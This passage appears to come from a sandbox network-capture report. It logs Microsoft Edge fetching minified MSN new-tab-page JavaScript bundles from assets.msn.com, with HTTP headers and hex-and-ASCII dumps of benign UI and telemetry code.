2024-04-23 21:02:21 UTC	8204	IN	Data Raw: 6c 61 74 69 74 75 64 65 7c 7c 76 6f 69 64 20 30 21 3d 3d 65 2e 6c 6f 6e 67 69 74 75 64 65 29 26 26 28 21 73 28 65 29 7c 7c 22 22 2b 65 2e 6c 61 74 69 74 75 64 65 3d 3d 22 2d 31 22 26 26 22 22 2b 65 2e 6c 6f 6e 67 69 74 75 64 65 3d 3d 22 2d 31 22 29 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 65 29 7b 63 6f 6e 73 74 20 74 3d 6e 2e 6a 47 2e 41 70 70 54 79 70 65 3b 72 65 74 75 72 6e 5b 22 77 69 6e 64 6f 77 73 53 68 65 6c 6c 22 2c 22 77 69 6e 64 6f 77 73 22 2c 22 6e 65 77 73 41 6e 64 49 6e 74 65 72 65 73 74 73 22 2c 22 77 69 6e 64 6f 77 73 4e 65 77 73 50 6c 75 73 22 2c 22 77 69 6e 57 69 64 67 65 74 73 22 5d 2e 69 6e 64 65 78 4f 66 28 74 29 3e 3d 30 3f 21 28 21 65 7c 7c 21 28 65 2e 61 64 64 72 65 73 73 4c 69 6e 65 7c 7c 65 2e 6c 6f 63 61 6c 69 74 79 7c 7c 65 2e 72 65 Data Ascii: latitude\|\|void 0!==e.longitude)&&(!s(e)\|\|""+e.latitude=="-1"&&""+e.longitude=="-1")}function l(e){const t=n.jG.AppType;return["windowsShell","windows","newsAndInterests","windowsNewsPlus","winWidgets"].indexOf(t)>=0?!(!e\|\|!(e.addressLine\|\|e.locality\|\|e.re

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49812	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:21 UTC	633	OUT	GET /bundles/v1/edgeChromium/latest/common-cscore.ad7a6dce7dbdf996219b.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:21 UTC	1191	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: 59NpAZG1SGUXx8JqBlY8mg== Last-Modified: Tue, 23 Apr 2024 19:32:47 GMT ETag: 0x8DC63CC27E7038F Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 2b33125d-f01e-005c-02b5-95fd94000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:21 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Akamai-Request-BC: [a=23.11.231.159,b=402745568,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=105, clienttt; dur=1, origin; dur=0 , cdntime; dur=1 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 180168e0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906141.180168e0 Vary: Origin
2024-04-23 21:02:21 UTC	15193	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 63 6f 6d 6d 6f 6e 2d 63 73 63 6f 72 65 22 5d 2c 7b 33 35 33 36 32 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 69 29 7b 69 2e 64 28 74 2c 7b 44 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 49 7d 7d 29 3b 76 61 72 20 6f 3d 69 28 34 36 35 33 31 29 2c 6e 3d 69 28 36 33 30 37 30 29 2c 73 3d 69 28 37 38 39 32 33 29 2c 61 3d 69 28 32 37 31 38 36 29 2c 72 3d 69 28 36 37 37 33 39 29 2c Data Ascii: 00006000"use strict";(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["common-cscore"],{35362:function(e,t,i){i.d(t,{D:function(){return I}});var o=i(46531),n=i(63070),s=i(78923),a=i(27186),r=i(67739),
2024-04-23 21:02:21 UTC	9395	IN	Data Raw: 61 2d 63 68 65 63 6b 65 64 3d 22 74 72 75 65 22 5d 29 20 2e 69 6e 64 65 74 65 72 6d 69 6e 61 74 65 2d 69 6e 64 69 63 61 74 6f 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 24 7b 6d 2e 48 2e 48 69 67 68 6c 69 67 68 74 54 65 78 74 7d 7d 3a 68 6f 73 74 28 5b 61 72 69 61 2d 63 68 65 63 6b 65 64 3d 22 74 72 75 65 22 5d 29 20 2e 63 6f 6e 74 72 6f 6c 3a 68 6f 76 65 72 20 2e 69 6e 64 65 74 65 72 6d 69 6e 61 74 65 2d 69 6e 64 69 63 61 74 6f 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 24 7b 6d 2e 48 2e 48 69 67 68 6c 69 67 68 74 7d 7d 3a 68 6f 73 74 28 5b 64 69 73 61 62 6c 65 64 5d 29 7b 6f 70 61 63 69 74 79 3a 31 7d 3a 68 6f 73 74 28 5b 64 69 73 61 62 6c 65 64 5d 29 20 2e 63 6f 6e 74 72 6f 6c 7b 66 6f 72 63 65 64 2d 63 6f 6c 6f 72 2d 61 64 6a 75 73 74 3a 6e 6f 6e 65 3b 62 6f Data Ascii: a-checked="true"]) .indeterminate-indicator{background:${m.H.HighlightText}}:host([aria-checked="true"]) .control:hover .indeterminate-indicator{background:${m.H.Highlight}}:host([disabled]){opacity:1}:host([disabled]) .control{forced-color-adjust:none;bo
2024-04-23 21:02:21 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 70 6c 61 74 65 43 6f 6c 75 6d 6e 73 43 68 61 6e 67 65 64 28 29 7b 74 68 69 73 2e 24 66 61 73 74 43 6f 6e 74 72 6f 6c 6c 65 72 2e 69 73 43 6f 6e 6e 65 63 74 65 64 26 26 74 68 69 73 2e 75 70 64 61 74 65 52 6f 77 53 74 79 6c 65 28 29 7d 72 6f 77 54 79 70 65 43 68 61 6e 67 65 64 28 29 7b 74 68 69 73 2e 24 66 61 73 74 43 6f 6e 74 72 6f 6c 6c 65 72 2e 69 73 43 6f 6e 6e 65 63 74 65 64 26 26 74 68 69 73 2e 75 70 64 61 74 65 49 74 65 6d 54 65 6d 70 6c 61 74 65 28 29 7d 72 6f 77 44 61 74 61 43 68 61 6e 67 65 64 28 29 7b 6e 75 6c 6c 21 3d 3d 74 68 69 73 2e 72 6f 77 44 61 74 61 26 26 74 68 69 73 2e 69 73 41 63 74 69 76 65 52 6f 77 26 26 28 74 68 69 73 2e 72 65 66 6f 63 75 73 4f 6e 4c 6f 61 64 3d 21 30 29 7d 63 65 6c 6c 49 74 65 6d 54 65 Data Ascii: 00006000plateColumnsChanged(){this.$fastController.isConnected&&this.updateRowStyle()}rowTypeChanged(){this.$fastController.isConnected&&this.updateItemTemplate()}rowDataChanged(){null!==this.rowData&&this.isActiveRow&&(this.refocusOnLoad=!0)}cellItemTe
2024-04-23 21:02:21 UTC	8204	IN	Data Raw: 20 64 3d 22 4d 34 2e 30 32 33 20 31 35 2e 32 37 33 4c 31 31 2e 32 39 20 38 20 34 2e 30 32 33 2e 37 32 37 6c 2e 37 30 34 2d 2e 37 30 34 4c 31 32 2e 37 31 20 38 6c 2d 37 2e 39 38 34 20 37 2e 39 37 37 2d 2e 37 30 34 2d 2e 37 30 34 7a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 2f 73 76 67 3e 0a 20 20 20 20 60 2c 70 72 65 76 69 6f 75 73 3a 78 2e 64 79 60 0a 20 20 20 20 20 20 20 20 3c 73 76 67 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 36 20 31 36 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 31 2e 32 37 33 20 31 35 2e 39 37 37 4c 33 2e 32 39 Data Ascii: d="M4.023 15.273L11.29 8 4.023.727l.704-.704L12.71 8l-7.984 7.977-.704-.704z" /> </svg> `,previous:x.dy` <svg viewBox="0 0 16 16" xmlns="http://www.w3.org/2000/svg"> <path d="M11.273 15.977L3.29
2024-04-23 21:02:21 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 73 2e 73 6c 6f 74 74 65 64 52 61 64 69 6f 42 75 74 74 6f 6e 73 3b 6c 65 74 20 69 3d 30 3b 69 66 28 69 3d 74 68 69 73 2e 66 6f 63 75 73 65 64 52 61 64 69 6f 3f 74 2e 69 6e 64 65 78 4f 66 28 74 68 69 73 2e 66 6f 63 75 73 65 64 52 61 64 69 6f 29 2b 31 3a 31 2c 74 68 69 73 2e 73 68 6f 75 6c 64 4d 6f 76 65 4f 66 66 47 72 6f 75 70 54 6f 54 68 65 52 69 67 68 74 28 69 2c 74 2c 65 2e 6b 65 79 29 29 74 68 69 73 2e 6d 6f 76 65 52 69 67 68 74 4f 66 66 47 72 6f 75 70 28 29 3b 65 6c 73 65 20 66 6f 72 28 69 3d 3d 3d 74 2e 6c 65 6e 67 74 68 26 26 28 69 3d 30 29 3b 69 3c 74 2e 6c 65 6e 67 74 68 26 26 74 2e 6c 65 6e 67 74 68 3e 31 3b 29 7b 69 66 28 21 74 5b 69 5d 2e 64 69 73 61 62 6c 65 64 29 7b 74 68 69 73 2e 6d 6f 76 65 54 6f 52 61 64 69 6f Data Ascii: 00004000s.slottedRadioButtons;let i=0;if(i=this.focusedRadio?t.indexOf(this.focusedRadio)+1:1,this.shouldMoveOffGroupToTheRight(i,t,e.key))this.moveRightOffGroup();else for(i===t.length&&(i=0);i<t.length&&t.length>1;){if(!t[i].disabled){this.moveToRadio
2024-04-23 21:02:21 UTC	12	IN	Data Raw: 61 6d 65 3d 22 75 6e 63 68 65 0d 0a Data Ascii: ame="unche
2024-04-23 21:02:21 UTC	10442	IN	Data Raw: 30 30 30 30 32 38 42 45 0d 0a 63 6b 65 64 2d 6d 65 73 73 61 67 65 22 3e 3c 2f 73 6c 6f 74 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 3c 2f 74 65 6d 70 6c 61 74 65 3e 0a 20 20 20 20 60 7d 28 7b 73 77 69 74 63 68 3a 46 2e 64 79 60 0a 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 68 65 63 6b 65 64 2d 69 6e 64 69 63 61 74 6f 72 22 20 70 61 72 74 3d 22 63 68 65 63 6b 65 64 2d 69 6e 64 69 63 61 74 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 60 7d 29 3b 63 6f 6e 73 74 20 6a 3d 63 6c 61 73 73 20 65 78 74 65 6e 64 73 20 68 7b 7d 2e 63 6f 6d 70 6f 73 65 28 7b 6e 61 6d 65 3a 60 24 7b 75 2e 48 2e 70 72 65 66 69 78 7d 2d 73 77 Data Ascii: 000028BEcked-message"></slot> </span> </span> </template> `}({switch:F.dy` <span class="checked-indicator" part="checked-indicator"></span> `});const j=class extends h{}.compose({name:`${u.H.prefix}-sw
2024-04-23 21:02:21 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 65 73 73 61 67 65 3d 22 24 7b 65 3d 3e 65 2e 61 72 69 61 45 72 72 6f 72 6d 65 73 73 61 67 65 7d 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 61 72 69 61 2d 66 6c 6f 77 74 6f 3d 22 24 7b 65 3d 3e 65 2e 61 72 69 61 46 6c 6f 77 74 6f 7d 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 61 72 69 61 2d 68 61 73 70 6f 70 75 70 3d 22 24 7b 65 3d 3e 65 2e 61 72 69 61 48 61 73 70 6f 70 75 70 7d 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 61 72 69 61 2d 68 69 64 64 65 6e 3d 22 24 7b 65 3d 3e 65 2e 61 72 69 61 48 69 64 64 65 6e 7d 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 61 72 69 61 2d 69 6e 76 61 6c 69 64 3d 22 24 7b 65 3d 3e 65 2e 61 72 69 61 49 6e 76 61 6c 69 64 7d 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 61 72 69 61 2d 6b 65 79 73 68 6f 72 74 Data Ascii: 00004000essage="${e=>e.ariaErrormessage}" aria-flowto="${e=>e.ariaFlowto}" aria-haspopup="${e=>e.ariaHaspopup}" aria-hidden="${e=>e.ariaHidden}" aria-invalid="${e=>e.ariaInvalid}" aria-keyshort
2024-04-23 21:02:21 UTC	12	IN	Data Raw: 74 49 6e 64 65 78 4f 66 28 65 0d 0a Data Ascii: tIndexOf(e
2024-04-23 21:02:21 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 2e 63 6f 6c 6f 72 43 6f 6e 74 72 61 73 74 28 74 2c 34 2e 35 29 29 2c 64 3d 6c 2b 72 2a 4d 61 74 68 2e 61 62 73 28 69 2d 6f 29 3b 6c 65 74 20 63 2c 68 3b 72 65 74 75 72 6e 28 31 3d 3d 3d 72 3f 69 3c 6f 3a 72 2a 69 3e 72 2a 6f 29 3f 28 63 3d 6c 2c 68 3d 64 29 3a 28 63 3d 64 2c 68 3d 6c 29 2c 7b 72 65 73 74 3a 65 2e 67 65 74 28 63 29 2c 68 6f 76 65 72 3a 65 2e 67 65 74 28 68 29 2c 61 63 74 69 76 65 3a 65 2e 67 65 74 28 63 2b 72 2a 73 29 2c 66 6f 63 75 73 3a 65 2e 67 65 74 28 63 2b 72 2a 61 29 7d 7d 28 65 28 72 2e 79 29 2c 74 7c 7c 65 28 73 2e 49 29 2c 65 28 61 2e 43 6c 29 2c 65 28 61 2e 73 63 29 2c 65 28 61 2e 56 74 29 2c 65 28 61 2e 55 43 29 29 7d 29 2c 63 3d 6c 28 22 6e 65 75 74 72 61 6c 2d 66 69 6c 6c 2d 73 74 72 6f 6e 67 2d Data Ascii: 00006000.colorContrast(t,4.5)),d=l+rMath.abs(i-o);let c,h;return(1===r?i<o:ri>ro)?(c=l,h=d):(c=d,h=l),{rest:e.get(c),hover:e.get(h),active:e.get(c+rs),focus:e.get(c+r*a)}}(e(r.y),t\|\|e(s.I),e(a.Cl),e(a.sc),e(a.Vt),e(a.UC))}),c=l("neutral-fill-strong-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49813	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:21 UTC	629	OUT	GET /bundles/v1/edgeChromium/latest/super-nav.65258d4f38c7e7963827.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:21 UTC	1191	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: m4iJlh9fjxKpH3jp49c6+Q== Last-Modified: Wed, 17 Apr 2024 19:30:50 GMT ETag: 0x8DC5F14E39290B2 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 31cae9b6-e01e-003d-60fd-9094b4000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:21 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Akamai-Request-BC: [a=23.11.231.159,b=402745572,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=105, clienttt; dur=1, origin; dur=0 , cdntime; dur=1 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 180168e4 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906141.180168e4 Vary: Origin
2024-04-23 21:02:21 UTC	15193	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 73 75 70 65 72 2d 6e 61 76 22 5d 2c 7b 38 31 33 35 39 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6f 2e 72 28 74 29 2c 6f 2e 64 28 74 2c 7b 53 75 70 65 72 4e 61 76 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 46 74 7d 2c 53 75 70 65 72 4e 61 76 53 74 79 6c 65 73 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 41 74 7d 2c 53 75 70 65 72 4e 61 76 54 65 6d 70 6c Data Ascii: 00006000(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["super-nav"],{81359:function(e,t,o){"use strict";o.r(t),o.d(t,{SuperNav:function(){return Ft},SuperNavStyles:function(){return At},SuperNavTempl
2024-04-23 21:02:21 UTC	9395	IN	Data Raw: 2d 65 78 70 61 6e 64 65 64 3d 22 24 7b 65 3d 3e 65 2e 73 68 6f 77 4d 65 6e 75 3f 22 74 72 75 65 22 3a 6e 75 6c 6c 7d 22 20 61 72 69 61 2d 68 61 73 70 6f 70 75 70 3d 22 74 72 75 65 22 20 61 72 69 61 2d 6c 61 62 65 6c 3d 22 24 7b 65 3d 3e 65 2e 6c 6f 63 61 6c 69 7a 65 64 53 74 72 69 6e 67 73 2e 6f 76 65 72 66 6c 6f 77 42 75 74 74 6f 6e 54 6f 6f 6c 74 69 70 7c 7c 6e 75 6c 6c 7d 22 20 63 6c 61 73 73 3d 22 6f 76 65 72 66 6c 6f 77 42 75 74 74 6f 6e 22 20 64 61 74 61 2d 74 3d 22 24 7b 65 3d 3e 65 2e 6f 76 65 72 66 6c 6f 77 54 65 6c 65 6d 65 74 72 79 54 61 67 7d 22 20 69 63 6f 6e 2d 6f 6e 6c 79 3d 22 74 72 75 65 22 20 69 64 3d 22 24 7b 4b 7d 22 20 74 69 74 6c 65 3d 22 24 7b 65 3d 3e 65 2e 6c 6f 63 61 6c 69 7a 65 64 53 74 72 69 6e 67 73 2e 6f 76 65 72 66 6c 6f 77 Data Ascii: -expanded="${e=>e.showMenu?"true":null}" aria-haspopup="true" aria-label="${e=>e.localizedStrings.overflowButtonTooltip\|\|null}" class="overflowButton" data-t="${e=>e.overflowTelemetryTag}" icon-only="true" id="${K}" title="${e=>e.localizedStrings.overflow
2024-04-23 21:02:21 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 70 61 74 68 20 64 3d 22 4d 34 35 2e 32 20 34 2e 34 76 31 33 2e 32 68 2d 32 2e 32 38 56 37 2e 32 34 68 2d 2e 30 33 4c 33 38 2e 38 32 20 31 37 2e 36 48 33 37 2e 33 4c 33 33 2e 31 33 20 37 2e 32 34 68 2d 2e 30 33 56 31 37 2e 36 48 33 31 56 34 2e 34 68 33 2e 32 38 6c 33 2e 37 38 20 39 2e 37 38 68 2e 30 36 4c 34 32 2e 31 20 34 2e 34 68 33 2e 31 5a 6d 31 2e 38 39 20 31 63 30 2d 2e 33 36 2e 31 32 2d 2e 36 36 2e 34 2d 2e 39 2e 32 37 2d 2e 32 35 2e 35 37 2d 2e 33 37 2e 39 34 2d 2e 33 37 2e 34 20 30 20 2e 37 33 2e 31 32 2e 39 37 2e 34 2e 32 34 2e 32 34 2e 34 2e 35 34 2e 34 2e 39 20 30 20 2e 33 38 2d 2e 31 33 2e 36 38 2d 2e 34 2e 39 33 2d 2e 32 38 2e 32 34 2d 2e 35 38 2e 33 36 2d 2e 39 37 2e 33 36 2d 2e 34 20 30 2d 2e 37 2d 2e 31 32 2d Data Ascii: 00006000path d="M45.2 4.4v13.2h-2.28V7.24h-.03L38.82 17.6H37.3L33.13 7.24h-.03V17.6H31V4.4h3.28l3.78 9.78h.06L42.1 4.4h3.1Zm1.89 1c0-.36.12-.66.4-.9.27-.25.57-.37.94-.37.4 0 .73.12.97.4.24.24.4.54.4.9 0 .38-.13.68-.4.93-.28.24-.58.36-.97.36-.4 0-.7-.12-
2024-04-23 21:02:21 UTC	8204	IN	Data Raw: 72 20 65 2c 74 2c 6f 3b 74 68 69 73 2e 64 65 66 61 75 6c 74 4e 61 76 49 74 65 6d 49 64 3d 74 68 69 73 2e 63 6f 6e 66 69 67 2e 64 65 66 61 75 6c 74 4e 61 76 49 74 65 6d 49 64 2c 74 68 69 73 2e 6e 61 76 4d 61 6e 61 67 65 72 3d 48 74 2e 46 76 2e 67 65 74 49 6e 73 74 61 6e 63 65 28 74 68 69 73 2e 6f 6e 4e 61 76 4d 61 6e 61 67 65 72 43 68 61 6e 67 65 52 65 71 75 65 73 74 29 3b 6c 65 74 20 6e 3d 74 68 69 73 2e 64 65 66 61 75 6c 74 4e 61 76 49 74 65 6d 49 64 3b 63 6f 6e 73 74 20 69 3d 6e 75 6c 6c 3d 3d 3d 28 65 3d 74 68 69 73 2e 6e 61 76 4d 61 6e 61 67 65 72 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 65 3f 76 6f 69 64 20 30 3a 65 2e 67 65 74 46 6f 72 63 65 53 65 6c 65 63 74 65 64 4e 61 76 49 74 65 6d 49 64 28 29 3b 6c 65 74 20 61 3d 21 31 3b 69 66 28 69 26 26 28 74 68 Data Ascii: r e,t,o;this.defaultNavItemId=this.config.defaultNavItemId,this.navManager=Ht.Fv.getInstance(this.onNavManagerChangeRequest);let n=this.defaultNavItemId;const i=null===(e=this.navManager)\|\|void 0===e?void 0:e.getForceSelectedNavItemId();let a=!1;if(i&&(th
2024-04-23 21:02:21 UTC	10074	IN	Data Raw: 30 30 30 30 32 37 34 45 0d 0a 61 6d 62 75 72 67 65 72 22 7d 7d 29 2e 67 65 74 4d 65 74 61 64 61 74 61 54 61 67 28 29 2c 74 68 69 73 2e 74 65 6c 65 6d 65 74 72 79 54 61 67 73 2e 76 65 72 74 69 63 61 6c 4e 61 76 43 6c 6f 73 65 42 75 74 74 6f 6e 3d 6f 2e 61 64 64 4f 72 55 70 64 61 74 65 43 68 69 6c 64 28 7b 6e 61 6d 65 3a 22 43 6c 6f 73 65 48 61 6d 62 75 72 67 65 72 22 2c 61 63 74 69 6f 6e 3a 66 74 2e 41 77 2e 43 6c 69 63 6b 2c 74 79 70 65 3a 66 74 2e 63 39 2e 41 63 74 69 6f 6e 42 75 74 74 6f 6e 2c 62 65 68 61 76 69 6f 72 3a 66 74 2e 77 75 2e 43 6c 6f 73 65 2c 63 6f 6e 74 65 6e 74 3a 7b 68 65 61 64 6c 69 6e 65 3a 22 43 6c 6f 73 65 22 7d 7d 29 2e 67 65 74 4d 65 74 61 64 61 74 61 54 61 67 28 29 2c 74 68 69 73 2e 74 65 6c 65 6d 65 74 72 79 54 61 67 73 2e 76 65 Data Ascii: 0000274Eamburger"}}).getMetadataTag(),this.telemetryTags.verticalNavCloseButton=o.addOrUpdateChild({name:"CloseHamburger",action:ft.Aw.Click,type:ft.c9.ActionButton,behavior:ft.wu.Close,content:{headline:"Close"}}).getMetadataTag(),this.telemetryTags.ve
2024-04-23 21:02:21 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 22 70 72 6f 64 75 63 74 69 76 69 74 79 48 75 62 22 5d 2c 74 68 69 73 2e 63 6f 6e 66 69 67 2e 68 6f 72 69 7a 6f 6e 74 61 6c 4e 61 76 2e 6e 61 76 49 74 65 6d 4f 72 64 65 72 3d 5b 5d 2c 74 68 69 73 2e 73 65 6c 65 63 74 65 64 4e 61 76 49 74 65 6d 49 64 3d 22 70 72 6f 64 75 63 74 69 76 69 74 79 48 75 62 22 2c 28 30 2c 51 65 2e 6e 6c 29 28 71 65 2e 75 44 2e 41 64 6d 69 6e 29 29 3b 65 6c 73 65 7b 30 3d 3d 3d 74 68 69 73 2e 63 6f 6e 66 69 67 2e 68 6f 72 69 7a 6f 6e 74 61 6c 4e 61 76 2e 6e 61 76 49 74 65 6d 4f 72 64 65 72 2e 6c 65 6e 67 74 68 26 26 28 74 68 69 73 2e 63 6f 6e 66 69 67 2e 68 6f 72 69 7a 6f 6e 74 61 6c 4e 61 76 2e 6e 61 76 49 74 65 6d 4f 72 64 65 72 3d 74 68 69 73 2e 70 72 65 4e 61 76 49 74 65 6d 4f 72 64 65 72 2c 74 68 Data Ascii: 00004000"productivityHub"],this.config.horizontalNav.navItemOrder=[],this.selectedNavItemId="productivityHub",(0,Qe.nl)(qe.uD.Admin));else{0===this.config.horizontalNav.navItemOrder.length&&(this.config.horizontalNav.navItemOrder=this.preNavItemOrder,th
2024-04-23 21:02:21 UTC	12	IN	Data Raw: 6c 61 73 73 3d 22 24 7b 65 3d 0d 0a Data Ascii: lass="${e=
2024-04-23 21:02:21 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 3e 22 77 69 6e 64 6f 77 73 22 3d 3d 3d 65 2e 63 75 72 72 65 6e 74 41 70 70 54 79 70 65 26 26 65 2e 63 6f 6e 66 69 67 2e 68 6f 72 69 7a 6f 6e 74 61 6c 4e 61 76 2e 69 73 54 6f 70 4e 61 76 3f 22 63 65 6e 74 65 72 2d 74 6f 70 6e 61 76 22 3a 22 22 7d 20 24 7b 65 3d 3e 65 2e 63 6f 6e 66 69 67 2e 68 6f 72 69 7a 6f 6e 74 61 6c 4e 61 76 2e 69 73 48 6f 6d 65 4e 61 76 4f 6e 6c 79 26 26 65 2e 69 73 4c 54 52 28 29 3f 22 72 65 64 75 63 65 64 2d 6e 61 76 22 3a 22 22 7d 22 20 73 74 79 6c 65 3d 22 24 7b 65 3d 3e 65 2e 63 6f 6e 66 69 67 2e 68 6f 72 69 7a 6f 6e 74 61 6c 4e 61 76 2e 69 73 48 6f 6d 65 4e 61 76 4f 6e 6c 79 3f 65 2e 67 65 74 48 6f 6d 65 4e 61 76 4f 6e 6c 79 53 74 79 6c 65 28 29 3a 22 22 7d 22 20 73 6c 6f 74 3d 22 63 6f 6e 74 65 6e Data Ascii: 00004000>"windows"===e.currentAppType&&e.config.horizontalNav.isTopNav?"center-topnav":""} ${e=>e.config.horizontalNav.isHomeNavOnly&&e.isLTR()?"reduced-nav":""}" style="${e=>e.config.horizontalNav.isHomeNavOnly?e.getHomeNavOnlyStyle():""}" slot="conten
2024-04-23 21:02:21 UTC	12	IN	Data Raw: 72 65 74 75 72 6e 20 70 2e 49 0d 0a Data Ascii: return p.I
